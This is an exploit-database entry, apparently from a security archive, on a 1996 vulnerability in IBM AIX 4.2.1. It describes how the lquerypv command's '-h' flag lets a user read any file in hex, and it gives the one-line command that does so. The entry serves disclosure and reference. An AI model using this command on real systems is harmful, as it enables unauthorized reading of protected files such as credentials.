IBM AIX 4.2.1 - 'lquerypv' File Read



EKU-ID: 24955 CVE: CVE-1999-1117;OSVDB-1005 OSVDB-ID:
Author: Aleph1 Published: 1996-11-24 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home 


source: https://www.securityfocus.com/bid/455/info

There exists a vulnerability in the lquerypv command under AIX. By using the '-h' flaq, a user may read any file on the file system in hex format.


/usr/sbin/lquerypv -h /pathtofilename